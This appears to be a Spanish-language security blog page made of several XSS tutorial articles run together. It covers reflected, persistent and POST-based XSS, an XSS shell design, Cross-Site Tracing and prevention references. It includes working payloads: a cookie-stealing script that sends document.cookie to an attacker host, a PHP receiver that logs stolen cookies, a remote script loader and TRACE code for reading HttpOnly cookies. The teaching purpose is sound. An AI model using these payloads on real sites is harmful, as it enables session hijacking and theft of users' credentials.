Como pudieron ver a lo largo del artículo, la prevención de XSS no es la pavada que puede parecer al principio. Agregar editores de texto enriquecido (osea, aceptar código HTML ingresado por el usuario) complica considerablemente las cosas. Hay que tener mucho cuidado de codificar todo lo ingresado por el usuario, y evitar, siempre que se pueda, colocar datos no confiables en lugares peligrosos como dentro de un script.
Nunca se debe confiar en el browser del cliente. Distintos motores renderizan las cosas a su gusto y muchas veces de forma peligrosa. Por ejemplo, los browsers aceptan tags mal formados como <script (sin el > que cierra). Como pueden leer en las referencias, IE puede hacer cosas locas al intentar decifrar la codificación de caracteres o el contenido de un documento... Firefox también tiene problemas como el uso de la directiva moz-binding para incluir XML.
En fin, la vida del programador no es para nada fácil, pero es importante que al menos tengan noción de los peligros que enfrentan, y tratar de aplicar las 6 reglas que propone OWASP para minimizar riesgos.

Recomiendo altamente la lectura del documento ArticlesXSS de la sección Web Security de los HOWTO de google. También es una exelente lectura el libro XSS Attacks, pero este es pago y tal ves no puedan obtenerlo. Por supuesto que es indispensable leer los artículos de la OWASP para programar de forma segura.

La realización de este artículo me llevó mucho más tiempo que la de los dos anteriores, encontré mucho material y traté de incluir todo lo más relevante. Espero que les sea de utilidad, tanto para programadores como para entusiastas o simples aprendices =)
Si bien con esto cerraría la parte más grosa de XSS, espero poder escribir antes de terminar diciembre algunos complementos más, como el de ataques relacionados, o el de herramientas para detección de XSS. Como siempre, si tienen material para agregar, dejen referencias en los comentarios y tal vez lo incluya en un artículo versión "Lost Chapters" =)


Referencias

- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie)
- XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP
- ArticlesXSS - Web Security - Google
- How To: Prevent Cross-Site Scripting in ASP.NET
- XSS (Cross Site Scripting) Cheat Sheet (RSnake)
- Browser Security Handbook
- Data Validation - OWASP
Rompiendo a lo grande: XSS avanzado
En el artículo anterior de XSS les comenté de qué trataba el ataque, los distintos tipos de ataque (reflejado o persistente), distintas combinaciones para escapar controles del programador, cómo usar distintos tags, formas de engañar al usuario y cómo robar cookies.

La idea es ahora comentar técnicas avanzadas de cross-site scripting, con ataques más rebuscados e interesantes.

Sin más introducción, pasemos entonces a los ataques!


XSS usando el método POST

Por si no lo recuerdan, todos los ataques explicados en el artículo anterior se basaban en el método HTTP GET, sacando el caso del XSS persistente. La razón de esto es que las variables usando el método GET van en la URL, por lo que para realizar el ataque sólo es necesario que el usuario abra un link armado por el atacante.
Para refrescar un poco la memoria, tomen en cuenta el ejemplo donde el script imprimía todo lo pasado por parámetro. Si el parámetro se envía con el método GET, el atacante sólo debería armar una URL del estilo http://www.ejemplo.com/vulnerable.php?param=<SCRIPT>alert('XSS');</SCRIPT>

Ahora piensen en el método HTTP POST. Cuando se usa POST las variables van dentro del cuerpo del mensaje HTTP. Para el que no conozca HTTP, el protocolo cuenta con dos partes, un HEADER donde van distintos parámetros (como la URL que solicitamos y los parámetros GET, el tipo de browser, el sistema operativo, el tipo del mensaje, las cookies, etc), y el CONTENIDO (donde va la página -html,img,xml,etc- en si, o los parámetros POST). El que se encarga de manejar el protocolo del lado del cliente es el browser, el cual arma los paquetes HTTP. Para un usuario es fácil manipular los parámetros GET porque van en la URL, pero no es tan simple manipular los parámetros POST.

Un pedido POST no se puede armar con los parámetros en la URL, así que necesitamos de un formulario. Pero cómo utilizamos un formulario en un ataque XSS no persistente? La respuesta es, usando una página intermedia.
Una vez que el atacante descubre una vulnerabilidad XSS en un parámetro POST de una página www.buenovulnerable.com/vulnerable.php, éste arma un formulario en una página que puede modificar (ya sea en un servidor propio o uno hackeado, pero no viene al caso) como ser www.malomalo.com/xsspost.php. Lo que hace a continuación es enviar al usuario víctima la URL de su página con algún texto que lo incite a visitarla. Cuando el usuario ingresa en www.malomalo.com/xsspost.php, ésta automáticamente envía los parámetros armados por el atacante a www.buenovulnerable.com/vulnerable.php la cual ahora contiene código de atacante (inyectado por XSS a través del método POST). Si el usuario estaba logueado, o utilizando la página www.buenovulnerable.com, el atacante podrá obtener cookies u otra información.

Vallamos al ejemplo phpeano. Por un lado tenemos la página vulnerable con el siguiente código:

Palabra buscada: <?php if(isset($_POST['search'])) print "<B>".$_POST['search']."</B>" ?>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Este ejemplo es igual al planteado en el artículo anterior, donde el script coloca la palabra buscada en el código php, osea, si la variable contiene HTML, el resultado será una página con el HTML incrustado por el atacante.
Dado que el ejemplo utiliza el método POST, necesitamos armar una página intermedia que haga el trabajo. La página intermedia contendrá el siguiente código:

<FORM NAME="attack" ACTION="http://www.buenovulnerable/vulnerable.php" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="search" SIZE="20" VALUE="<SCRIPT>alert('XSS');</SCRIPT>">
</FORM>
<SCRIPT>
setTimeout('attack.submit()', 1);
</SCRIPT>

Como se puede ver, esta página contiene una entrada de formulario con el mismo nombre que el input de la página anterior (el nombre search), pero a diferencia de la anterior, este input está oculto (tipo HIDDEN). Si un usuario visita la página del atacante, ésta cargará el valor <SCRIPT>alert('XSS');</SCRIPT> en la variable search y lo enviará a la página vulnerable. El envío automático lo realiza el código setTimeout('attack.submit()', 1); donde le decimos que haga un submit luego de 1 milisegundo cargada la página.
El resultado es que el usuario termina en la página vulnerable con el JavaScript incrustado, es decir, verá:

Palabra buscada: <B><SCRIPT>alert('XSS');</SCRIPT></B>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Esto es lo mismo que teníamos antes cuando el formulario usaba el método GET y el atacante utilizaba la URL http://www.buenovulnerable/vulnerable.php?search=<SCRIPT>alert('XSS');</SCRIPT>
De esta manera logramos un ataque sobre un formulario que utiliza el método POST en lugar de GET.

El problema de este ataque es que resulta un poco más evidente. Ahora el usuario deberá confiar en una URL externa en lugar de la URL de la página buena, pero el resultado es el mismo! Por lo general muchos usuarios visitan links de páginas dudosas, y con esta falencia sería posible realizar ataques interesantes.


XSS Shell

Luego de haber explorado algunas facetas del XSS nos metemos con los ataques más interesantes. Si todavía no se convencieron de lo peligroso que puede ser el XSS, luego de leer sobre el siguiente ataque lo van a hacer.

XSS Shell (tal vez conocido de otras formas) es un ataque donde el atacante puede manipular el browser de la víctima a través de un set de comandos, durante el tiempo que la víctima mantenga abierta la página afectada.
En un ataque simple, el usuario ejecuta un script malicioso que roba una cookie, manipula la página o alguna otra cosa y termina (una sola oportunidad de ataque). Pero con XSS Shell se utiliza un script que mantiene una conexión con un servidor maligno y responde a comandos enviados por éste. El atacante interactúa con el servidor maligno enviando comandos y recibiendo los resultados. En resumen, existe una conexión entre el servidor y la víctima por la cual un atacante puede enviar los comandos que desee, pudiendo realizar diferentes acciones con un sólo ataque XSS.

Programar el Shell no es tan trivial como en los ejemplos anteriores, así que sólo explicaré una posible forma de implementarlo en lugar de colocar el código en si.
Como se darán cuenta a partir de lo que expliqué arriba, este ataque cuenta con 3 piezas. Por un lado tenemos el servidor maligno, el cual se encarga del contacto con la víctima y de ser el front-end del atacante. Las otras dos partes son el programa que se ejecuta en la máquina de la víctima y el front-end del atacante. Esto se puede observar el la figura de abajo.


El código inyectado en la página primero se conecta al servidor malicioso para descargar el script encargado de recibir comandos y enviar resultados. Este código podría ser algo como el siguiente:
<script language='Javascript' src="http://www.malomalo.com/hack/command.js.php'></script>

El script descargado chequea cada cierto tiempo el servidor en busca de comandos a ejecutar, y si el comando genera algún resultado, el script lo devuelve al servidor. Para hacer este checkeo a intervalos podemos usar AJAX en conjunto con la función JavaScript setInterval (https://developer.mozilla.org/en/DOM/window.setInterval), la cual toma como parámetros una función a ejecutar y el intervalo de tiempo en milisegundos (opcionalmente se pueden pasar parámetros a la función a ejecutar).

Hasta acá ya tenemos el funcionamiento de la víctima, esto es, buscar comandos cada cierto tiempo, ejecutarlos, y enviar resultados cuando sea necesario.
Ahora pasemos al servidor malicioso. El servidor es el encargado de servir el script que ejecuta la víctima, a su vez se encarga de encolar comandos enviados por el atacante y enviarlos a la víctima cuando los solicite (recuerden que la conexión la inicia la víctima, así que el servidor espera a que la víctima pida los comandos). Además el servidor acumula los resultados enviados por las diferentes víctimas (zombies). Un servidor bien hecho puede administrar varios zombies a la vez, así que debe mantener colas separadas de comandos para cada zombie.
Por otro lado, debe encargarse de presentar un front-end para el atacante, el cual podrá seleccionar diferentes comandos y diferentes zombies para que los ejecuten. El atacante también será capaz de obtener datos de los zombies, como cookies, credenciales, etc.

Como se pueden ir imaginando, a través de un XSS Shell se puede tener muchísima funcionalidad y hacer cosas extremadamente graves. Sólo para citar algunos ejemplos de lo que podríamos hacer utilizando este ataque, les dejo la siguiente lista:
- Robo de cookies
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas (usando técnicas como la descripta en mi anterior artículo: Robando información del historial (sin usar JavaScript!))
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Otros.........

La mayoría de los ataques se pueden realizar como consecuencia del XSS, pero tener un XSS Shell nos permite realizar tantos ataques como deseemos, mientras dure la conexión.

Existen herramientas muy interesantes para probar estos problemas y ver como funcionan:
- BeEF browser exploitation framework - para mi el más completo.
- XSS-Proxy
- XSS Shell


Cross-Site Tracing (XST)

Esta ataque utiliza el XSS en conjunto con el método HTTP TRACE para obtener datos que a través del XSS solo no se podrían obtener.
Comencemos describiendo un poco el método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50

TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73

TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Ustedes dirán, si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando JavaScript (u otro lenguaje script ejecutado en el browser).
En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como JavaScript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.
Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta... bingo! ahora tenemos la cookie que tanto deseabamos.

Cómo es posible armar un pedido HTTP TRACE utilizando JavaScript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.
Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

<script type="text/javascript">
<!--
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://foo.bar",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

En firefox la función a utilizar es muy similar:

<script type="text/javascript">
<!--
function sendTrace()
{
xhttp=new XMLHttpRequest();
xhttp.open("TRACE", "http://foo.bar",false);
xhttp.send();
xmlDoc=xhttp.responseXML;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.


Pensamientos Finales

Como habrán podido observar, el XSS es una vulnerabilidad extremadamente riesgosa cuando es explotada por gente que sabe (o que buscó un poco en internet). Espero con este par de artículos haber demostrado el peligro, lo poderosos que pueden ser los ataques, que el XSS no es simplemente un alert('XSS'); De este ataque no se salvó ni google, el cual tuvo que reparar sus sites en más de una ocación.
La sencillez del ataque hace que a simple vista parezca inofensivo y resulta poco respetado, pero no se dejen engañar por las apariencias.

En muchos casos el ataque necesita del factor "usuario desprevenido", pero todos sabemos lo fácil que es aprovechar esta clase de usuarios y que seguramente más de una vez nos ha tocado serlo.
Ahora gracias a twitter se utilizan mucho las tinyURL, las cuales ocultan la verdad detras del link a visitar, algo que impone un riesgo extra. Además, como vimos en el artículo Ocultando URLs con JavaScript, es muy fácil ocultar el verdadero destino de un link.
Por otro lado, el uso de iframes ocultos en la página hace posible que visitemos páginas sin darnos cuenta! Tal vez estemos visitando una página que es perfectamente legal a simple vista, pero que en sus entrañas tenga un iframe que hace a nuestro browser enviar pedidos a una página vulnerable a XSS y así robar cookies.
Formas de hacer que nuestro ataque funcione existen muchas, tal vez para hacer otro artículo, así que por ahora lo dejo aca.


Todavía no termina

Exactamente lo que dice el título, todavía no estoy dispuesto a abandonar el XSS, porque todavía tengo varias cosas interesantes para contar. Por un lado quiero mostrar formas de prevenir el XSS desde la programación, a su vez quiero citar algunas herramientas comerciales y libres que se pueden utilizar para testear esta vulnerabilidad. Por si fuera poco, en un artículo más estaré explicando ataques relacionados al XSS pero que no entran en la definición concreta de este, como ser el Cross-Site Request Forgery (CSRF) o el Cross-zone Scripting...
Si da el tiempo y todavía no se pudrieron del XSS, también me gustaría hablar de un paper sobre cómo evadir controles CSRF usando XSS.
Si leen o conocen de algún otro ataque XSS que no halla citado, haganmelo saber y hablo sobre él en algún artículo adicional.
Hay letra para rato, así que como suelo decir, stay tuned.


Referencias

- Advanced Cross Site Scripting (Gavin Zuchlinski)
- XSS Tunnelling - Tunnelling HTTP traffic through XSS Channels (Ferruh Mavituna)
- Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (Anton Rager)
- CROSS-SITE TRACING (XST) (Jeremiah Grossman)
Cruzando información, Cross-Site Scripting (XSS)
Si hay un ataque que me gusta ese es el Cross-Site Scripting (XSS). Y por qué me gusta tanto? porque es extremadamente simple y permite robar valiosísima información, y lo mejor de todo, es que está presente en casi todos los Web sites que andan dando vuelta!
A continuación voy a tratar de dar un gran pantallazo del XSS, junto con diferentes ejemplos.

ACLARACION: el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.

Se asume que

Este artículo asume que el lector tiene conocimientos básicos de:
- HTML (sobre todo formularios)
- métodos HTTP GET y POST
- JavaScript
- (no excluyente) manejo de sesiones
- (no excluyente) php

Tener una idea de lo anteriormente citado ayudará al lector a comprender mejor los ataques, así como poder entender los ejemplos.


Por qué XSS y no CSS?

Muchos se preguntarán, si se llama Cross-Site Scripting, por qué lo abrevian XSS en lugar de CSS?
El origen de la abreviación es algo simpático. Como muchos sabrán, la abreviación CSS se utiliza para las hojas de estilo llamadas Cascading Style Sheets. Hacer que el ataque se abrevie de la misma manera generaría confusiones, así que se decidió cambiar la C por una X, lo cual congenia perfectamente con la palabra Cross =D


Qué es el XSS?

El XSS es un ataque que se aprovecha de la falta de filtrado de datos salientes. Básicamente el ataque trata sobre inyección de código HTML en alguna variable, la cual, luego de ser procesada por el servidor web, es devuelta dentro del HTML de la página original y ejecutada por el browser de la víctima.
Como siempre, un ejemplo es mejor en este tipo de explicaciones, así que vallamos a eso.
El ejemplo más clásico y tonto (aunque presente en muchos sites), es tener una página que muestra el valor de una variable ingresada por el usuario. Supongamos tener un script php como el siguiente:

Usuario: <?php if(isset($_GET['user'])) print "<B>".$_GET['user']."</B>" ?>
<FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="user" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Por si alguno no entiende php, les aclaro que el script es simple, lo único que hace es imprimir el valor de la variable ingresada en el formulario. El resultado de ejecutar el script es el siguiente:


En el funcionamiento normal, un usuario ingresaría su nombre de usuario (en el ejemplo, ingresé demasiadovivo), lo cual nos da el siguiente estado:


Hasta acá todo bien, nada fuera de lo ordinario. Pero momento... qué sucedería si en lugar de ingresar texto ordinario ingreso código HTML??? ya se lo están imaginando? pues si, el código que ingresemos quedará incrustrado en la página... que lindo...
Supongamos que en el campo de texto ingreso el código <SCRIPT>alert('XSS');</SCRIPT>, el resultado que obtendremos es el siguiente:


Oh si, lo que sucedió es que el código JavaScript quedó incrustado en la página, y el browser hizo su trabajo, el cual es ejecutarlo. Si hechamos una mirada al código de esta página encontraremos lo siguiente:

<FORM ACTION="" METHOD="GET">
Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B><FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="user" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Este ejemplo es bien básico e inofensivo, pero sirve perfectamente para mostrar de qué trata el XSS. En las siguientes secciones explicaré los ataques que se pueden realizar usando XSS.


Cómo se puede usar el XSS?

En el ejemplo, el que interactúa con la página es el mismo usuario que recibe el HTML modificado. En un caso de ataque real, los participantes son dos, el atacante que arma el pedido, y la víctima que lo ejecuta.
Volviendo al ejemplo anterior, como se puede ver, los parámetros del formulario se envían con el método GET, esto es, van en la URL de la página. Lo que un atacante se encargaría de hacer es armar una URL que aproveche el XSS y enviársela al usuario para que la abra. En el ejemplo, si suponemos que el nombre del site es www.ejemplo.com, el atacante podría armar la URL http://www.ejemplo.com/xss.php?user=<SCRIPT>alert('XSS')%3B<%2FSCRIPT> y convencer a un usuario para que lo abra. En este caso, el usuario ejecutaría el script que abre el alert.
Como vemos, para que este ataque tenga éxito necesitamos de un factor extra: un usuario que abra la URL armada por el atacante. A este tipo de ataque se lo llama XSS reflejado (reflected). Pero ojo, este no es el único tipo de ataque XSS.

Otra forma de XSS es el llamado persistente. En éste ataque no necesitamos que el usuario abra una dada URL, sino que usamos una fea vulnerabilidad en el site para hacer que nuestro script quede incrustado en la página "para siempre" (de ahí el nombre). Nuevamente, me remito al ejemplo para explicar.
Supongamos que tenemos un guestbook, donde gente puede dejar su comentario acerca del site. Ahora, supongamos que nuestro guestbook es tan pobre que no valida lo que el usuario ingresa y simplemente guarda todo lo que se tipea. Si un visitante coloca código HTML dentro de su comentario, éste quedará incrustado en la página. Esto es lo mismo que sucedía antes, pero peor! ahora el código queda de forma PERMANENTE en el código de la página. Si otro usuario visita el guestbook ejecutará el código dejado por nuestro visitante malicioso.
Para demostrar el ataque, veamos el siguiente código:

<B>Comentarios:</B><BR>
<?php
if(isset($_POST['comment']))
{
$f = fopen("guestbook.txt", "a");
fwrite($f, $_POST['comment']."\n");
fclose($f);
}

if($f = @fopen("guestbook.txt", "r"))
{
while(!feof($f))
{
$comment = fgets($f);
print "<HR>".$comment."<BR>";
}
fclose($f);
}
?>
<FORM METHOD="POST" ACTION="">
<TEXTAREA COLS="60" ROWS="10" NAME="comment"></TEXTAREA><BR>
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Lo que hace el script php es usar el archivo guestbook.txt como medio para almacenar los comentarios. Si alguien deja un comentario lo almacena en ese archivo, luego lee de ese archivo todos los comentarios. Por simplicidad se asume que cada línea del archivo representa un comentario.
El guestbook con algunos comentarios podría verse de la siguiente forma:


Qué sucede si un usuario simpático nos deja el comentario "mira este XSS: <SCRIPT>alert('XSS');</SCRIPT>" (sin las comillas)?. Lo que sucederá es lo visto en la siguiente imagen:


Dado que el comentario se almacena en guestbook.txt, ahora todo el que visite la página ejecutará el script dejado por nuestro buen amigo. Si bien este tipo de aplicaciones web utilizan bases de datos en lugar de archivos de texto para almacenar los comentarios, el principio es el mismo. Esto es, si en la base de datos almacenamos todo lo que el usuario escribe y luego lo mostramos como tal, tendremos el mismo problema.


Logrando que el usuario ejecute lo que queremos

Como se pueden imaginar, el XSS persistente es mucho más riesgoso que el reflejado, dado que en el persistente el atacante no necesita que la víctima visite una URL armada especialmente, sino que basta con que la víctima visite la página afectada!

Por otro lado, hacer que una persona abra un link armado especialmente es mucho más fácil de lo que se imaginan. Para esto debemos hacer uso de nuestra amiga la ingeniería social, o bien usar un par de trucos.

El caso de la ingeniería social ya lo conocen, o se han enfrentado a el. Supongan que reciben un mail diciendo que visiten un dado link para reactivar su cuenta en www.ejemplo.com. Si ustedes tienen alguna cuenta en www.ejemplo.com, tal vez creerían que esto es cierto, sobre todo, si el link pertenece realmente al dominio www.ejemplo.com. El problema es que tal vez www.ejemplo.com tenga una falencia de XSS, y el atacante podría usar la siguiente url: www.ejemplo.com/renovarcuenta.php?user=<script>alert('xss');</script>. Ahora bien, ver que en el parámetro "user" figura el tag <script> puede resultar sospechoso para algunos, pero teniendo en cuenta las URLs kilométricas que se usan actualmente, tal vez ni vean el tag. Además existen técnicas de ofuscación como URL encoding, donde el mismo ejemplo quedaría de la siguiente forma: www.ejemplo.com%2frenovarcuenta.php%3Fuser%3D%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E

Por supuesto que agregar un script con los tags <script> no es la única forma de realizar un ataque XSS, también es posible utilizar otros tags como IMG, DIV, IFRAME, STYLE, BODY, etc. Tal vez el más interesante de estos es el tag IMG. IMG se usa para agregar una imagen al código HTML. Cuando el browser encuentra el tag IMG, éste busca la imágen en el servidor que corresponda, según el argument SRC. Ahora, qué sucede si colocamos la siguiente etiquieta: <IMG SRC="javascript:alert('xss');"> Cuando el browser encuentre la etiqueta, éste ejecutará el código JavaScript... hermoso! Esto no se limita al tag IMG, pero es el ejemplo más común. Otra forma de utilizar este tag podrían ser: <img src="imagen.jpg" onload="javascript:alert('XSS');" /> Nuevamente, esto no se limita al tag IMG.

En muchos casos deberemos escapar algún tag para inyectar código. Por ejemplo, supongan el caso de un script que mantiene los datos ingresados por el usuario en un campo de texto. El código para hacer tal cosa sería algo como el siguiente:


<FORM ACTION="" METHOD="GET">
<INPUT TYPE="TEXT" NAME="user" VALUE="<?php echo $_GET['user'] ?>" />
<INPUT TYPE="SUBMIT" VALUE="set" />
</FORM>

En este caso, lo que escribamos dentro del campo de texto quedará dentro del valor (propiedad VALUE) del campo de texto. Así por ejemplo si colocamos el valor juan, el código quedará <input type="TEXT" name="user" value="juan"> con lo cual no hay problemas.

Pero nosotros queremos insertar código JS!, si colocamos el simple código citado anteriormente (<script>alert('XSS');</script>), el resultado será: <input type="TEXT" name="user" value="<script>alert('XSS');</script>">. Esto es, quedará todo dentro del campo de texto, lo mismo que sucede cuando ingresamos solamente la palabra juan.
Entonces??? cómo hacemos??? bueno, ingeniárnosla un poco. Qué es lo que no nos permite inyectar código? es el problema de estar encerrados en un tag. Para escapar esto, deberíamos ingresar algo como ">, luego nuestro código y a continuación escapar el resto del tag. Una forma simple de hacer esto es ingresar lo siguiente: "><SCRIPT>alert('XSS');</script><input type="HIDDEN" name="">
El resultado visto por el usuario, luego de ingresar ese código, será:
<input type="TEXT" name="user" value=""><script>alert('XSS');</script><input type="HIDDEN" name="">:
Con lo obtenido, el usuario ejecutará el alert y no verá diferencias en la página (a menos que mire el código).

En la realidad es muy probable que se encuentren con ejemplos donde hace falta escapar un tag. El problema se complica más cuando el script del lado del servidor escapea las comillas u otros valores. Nombrar todas las formas de escapar a estos problemas harían que el artículo sea interminable, además existen varias páginas dedicadas a esto, así que les dejo directamente los links. Páginas con ejemplos muy interesantes son:

http://ha.ckers.org/xss.html
http://htmlpurifier.org/live/smoketests/xssAttacks.php
http://h4k.in/xssinexcess


Poniéndonos serios

Hasta ahora nuestro ataque se basó en ejecutar un simple alert con un mensaje, pero en un ataque real, esto no nos serviría de mucho. Los objetivos más deseados son cookies y credenciales. También es posible realizar redirecciones a otras páginas, modificación de la página, keylogging usando ajax, XSS proxies (de lo cual hablaré más adelante) o incluso ejecución de código malicioso (debido a fallas en el browser).

De los posibles ataques, el que me resulta más interesante es el robo de cookies, debido a lo que implica. Las cookies alojan variables que son usadas para mantener la sesión de un usuario, esto es, el servidor recuerda quién es cada usuario. Cuando un usuario se autentica (con el clásico login-password) el servidor establece un valor random en una variable alojada en una cookie. Esa cookie luego es usada por el servidor para reconocer al usuario y no tener que pedir las credenciales continuamente. Robar una cookie implica obtener la autenticación de un usuario sin conocer las credenciales!

Ahora, cómo hacemos esto? fácil. Así como antes colocábamos un simple alert de JS en el código de la página, nada nos impide colocar la siguiente sentencia:
<script>
document.location="http://www.malomalo.com/stealer.php?cookie=" + document.cookie;
</script>
El código que acabo de copiar hace que el browser cargue una nueva página (www.malomalo.com/stealer.php) enviandole como parámetro la cookie de la página actual!, es decir, le estamos enviando al atacante dueño de evil.com la cookie de la página donde estamos logueados.
Vallamos al ejemplo phpeano. Supongamos que tenemos la siguiente página con autenticación:

<?php session_start(); ?>
buscar:
<FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="search" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>
<?php if(isset($_GET['search'])) print "resultados con la palabra <B>".$_GET['search']."</B><BR><BR>" ?>
<?php
if(isset($_POST['logout']))
{
session_destroy();
unset($_SESSION['user']);
}
function printform()
{
echo '<FORM ACTION="" METHOD="POST">
user: <INPUT NAME="user" TYPE="TEXT" SIZE="20" /><BR>
pass: <INPUT NAME="pass" TYPE="PASSWORD" SIZE="20" /><BR>
<INPUT TYPE="SUBMIT" VALUE="login" />
</FORM>';
}
function printhello()
{
print "hola usuario: ".$_SESSION['user'];
print '<FORM ACTION="" METHOD="POST"><INPUT NAME="logout" TYPE="SUBMIT" VALUE="logout" /></FORM>';
}

if(!isset($_SESSION['user']))
{
if(isset($_POST['user']) && isset($_POST['pass']))
{
if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))
{
$_SESSION['user'] = "demasiadovivo";
printhello();
}
else
{
echo "el usuario ".$_POST['user']." no existe";
printform();
}
}
else
printform();
}
else
{
printhello();
}
?>

El scriptcito (para nada optimizado) tiene un buscador para ejemplificar el XSS, pero que en realidad no busca nada, y tiene un login, con la autenticación incrustada en el código (osea, el único usuario válido es demasiadovivo pass 123456). La idea es que sea simple para entender el ejemplo.
Una vez que el usuario se autentica, el script guarda el nombre de usuario en una variable de sesión $_SESSION['user']. El servidor envía de forma transparente un ID de sesión, el cual utiliza para reconocer las variables del usuario. Todo este maneje es transparente tanto para el usuario como para el programador, lo único que va en la cookie es el ID de sesión.

El objetivo del atacante en este caso será obtener la cookie con el ID de sesión y reutilizarlo para aparecer autenticado en la página sin proveer el usuario y password. Para esto, aplicando un ataque XSS, el atacante podría armar la siguiente URL y enviarsela a un usuario desprevenido:
http://www.buenobueno.com/xss-authentication.php?search=<script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script>:
donde www.buenobueno.com es el site con la vulnerabilidad XSS y www.malomalo.com es un site del atacante que recibe la cookie.
Para obtener la cookie, el site del atacante podría tener un código como el siguiente:

<?php
if($cookie = $_GET["cookie"]))
{
$f = fopen('cookies.txt', 'a');
fwrite($f, $cookie . "\n\n");
}
?>

De esta forma, cada vez que malomalo reciba una cookie, este la almacenará en un archivo. El código se podría mejorar añadiendo la dirección de la página de la cual robamos la cookie, así si tenemos varias páginas hackeadas, podríamos saber a cual pertenece la cookie.
Cabe aclarar que las cookies no son eternas y expiran luego de un tiempo, o dejan de ser válidas una vez que se ejecuta un session_destroy(), lo cual suele hacerse cuando el usuario aprieta el boton logout. Por ello, el atacante tendrá una ventana de tiempo limitada para utilizar la cookie, pero esto no es problema, proque al código anterior podríamos añadir que el programa envíe un mail al atacante cada vez que recibe una cookie.
Un problema con el ataque anterior es que el usuario notará la redirección, debido a que el browser ahora apunta a http://www.malomalo.com/stealer.php?cookie=lacookie. Por suerte, existen formas de evitar esto. Si queremos que el usuario siga viendo la página que estaba visitando y que la cookie se envíe de forma transparente, en lugar de insertar el código <script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script> podríamos insertar este otro código:
<SCRIPT>document.write('<IMG WIDTH="0" HEIGHT="0" SRC="http://localhost/stealer.php?cookie='+document.cookie+'"')</SCRIPT>
